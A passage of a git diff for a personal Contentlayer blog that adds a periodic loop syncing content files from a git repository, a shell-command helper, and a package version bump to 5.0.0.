= false + let syncInterval + + const syncLoop = async () => { + console.log('Syncing content files from git') + + await syncRun() + + if (wasCancelled) return + + syncInterval = setTimeout(syncLoop, 1000 * 60) + } + + // Block until the first sync is done + await syncLoop() + + return () => { + wasCancelled = true + clearTimeout(syncInterval) + } +} + +const runBashCommand = (command: string) => + new Promise((resolve, reject) => { + const child = spawn(command, [], { shell: true }) + + child.stdout.setEncoding('utf8') + child.stdout.on('data', data => process.stdout.write(data)) + + child.stderr.setEncoding('utf8') + child.stderr.on('data', data => process.stderr.write(data)) + + child.on('close', function (code) { + if (code === 0) { + resolve(void 0) + } else { + reject(new Error(`Command failed with exit code ${code}`)) + } + }) + }) export default makeSource({ - contentDirPath: 'contentlayer', + syncFiles: syncContentFromGit, + contentDirPath: 'content', documentTypes: [Post], mdx: { remarkPlugins: [remarkGfm, remarkMath, remarkBreaks, remarkHint], diff --git a/package.json b/package.json index 66812186..25fc8a5e 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "mfg-b", - "version": "4.1.0", + "version": "5.0.0", "homepage": "https://mfg-b.vercel.app", "license": "GPL-3.0", "author": "Mateus Felipe Gonçalves (https://mfg-b.vercel.app/info)",